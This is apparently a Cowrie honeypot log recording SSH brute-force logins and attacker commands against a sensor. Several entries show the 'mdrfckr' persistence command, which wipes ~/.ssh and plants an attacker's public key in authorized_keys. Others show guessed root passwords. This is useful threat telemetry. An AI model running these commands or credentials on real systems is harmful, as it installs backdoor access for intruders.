{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:25.658239Z","src_ip":"210.79.191.76","session":"e3006cc679bf","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:25.930026Z","src_ip":"210.79.191.76","session":"e3006cc679bf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:25.933668Z","src_ip":"210.79.191.76","session":"e3006cc679bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.76","src_port":40480,"dst_ip":"10.17.0.5","dst_port":22,"session":"4820a30ce505","protocol":"ssh","message":"New connection: 210.79.191.76:40480 (10.17.0.5:22) [session: 4820a30ce505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:26.186665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:26.190898Z","src_ip":"210.79.191.76","session":"4820a30ce505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:26.442278Z","src_ip":"210.79.191.76","session":"4820a30ce505","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:27.495990Z","src_ip":"210.79.191.76","session":"4820a30ce505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:28.750326Z","src_ip":"210.79.191.76","session":"4820a30ce505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.76","src_port":40484,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a07d57cc711","protocol":"ssh","message":"New connection: 210.79.191.76:40484 (10.17.0.5:22) [session: 7a07d57cc711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:28.995400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:29.047091Z","src_ip":"210.79.191.76","session":"7a07d57cc711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:29.296582Z","src_ip":"210.79.191.76","session":"7a07d57cc711","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:30.281696Z","src_ip":"210.79.191.76","session":"7a07d57cc711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:30.528672Z","src_ip":"210.79.191.76","session":"e3006cc679bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:30.534193Z","src_ip":"210.79.191.76","session":"7a07d57cc711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.180.79.132","src_port":58504,"dst_ip":"159.203.135.109","dst_port":22,"session":"42c65bdc502d","protocol":"ssh","message":"New connection: 158.180.79.132:58504 (159.203.135.109:22) [session: 42c65bdc502d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:34.779423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:34.782843Z","src_ip":"158.180.79.132","session":"42c65bdc502d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:34.979794Z","src_ip":"158.180.79.132","session":"42c65bdc502d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"q1w2e3r4t5!","message":"login attempt [root/q1w2e3r4t5!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:35.882001Z","src_ip":"158.180.79.132","session":"42c65bdc502d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:36.323837Z","src_ip":"158.180.79.132","session":"42c65bdc502d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:36.327166Z","src_ip":"158.180.79.132","session":"42c65bdc502d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:36.331205Z","src_ip":"158.180.79.132","session":"42c65bdc502d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:36.583106Z","src_ip":"158.180.79.132","session":"42c65bdc502d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:37.018421Z","src_ip":"158.180.79.132","session":"42c65bdc502d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:37.021685Z","src_ip":"158.180.79.132","session":"42c65bdc502d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:37.283697Z","src_ip":"158.180.79.132","session":"42c65bdc502d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:37.287534Z","src_ip":"158.180.79.132","session":"42c65bdc502d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.180.79.132","src_port":58506,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f14694127fe","protocol":"ssh","message":"New connection: 158.180.79.132:58506 (159.203.135.109:22) [session: 1f14694127fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:37.480230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:37.484573Z","src_ip":"158.180.79.132","session":"1f14694127fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:37.680374Z","src_ip":"158.180.79.132","session":"1f14694127fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:38.680388Z","src_ip":"158.180.79.132","session":"1f14694127fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:39.880680Z","src_ip":"158.180.79.132","session":"1f14694127fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.180.79.132","src_port":58522,"dst_ip":"159.203.135.109","dst_port":22,"session":"c071bf9a9368","protocol":"ssh","message":"New connection: 158.180.79.132:58522 (159.203.135.109:22) [session: c071bf9a9368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:40.076407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:40.081116Z","src_ip":"158.180.79.132","session":"c071bf9a9368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:40.276129Z","src_ip":"158.180.79.132","session":"c071bf9a9368","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:41.087029Z","src_ip":"158.180.79.132","session":"c071bf9a9368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:41.277185Z","src_ip":"158.180.79.132","session":"c071bf9a9368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:41.282130Z","src_ip":"158.180.79.132","session":"42c65bdc502d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53006,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4fe56b0c957","protocol":"ssh","message":"New connection: 2.57.122.208:53006 (10.17.0.5:22) [session: a4fe56b0c957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:03:08.388964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:03:08.410013Z","src_ip":"2.57.122.208","session":"a4fe56b0c957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:03:08.510333Z","src_ip":"2.57.122.208","session":"a4fe56b0c957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:03:08.948418Z","src_ip":"2.57.122.208","session":"a4fe56b0c957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:03:10.174128Z","src_ip":"2.57.122.208","session":"a4fe56b0c957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.222","src_port":62630,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e98f7bcdf9c","protocol":"telnet","message":"New connection: 64.62.156.222:62630 (10.17.0.5:23) [session: 9e98f7bcdf9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:04:13.802135Z"}
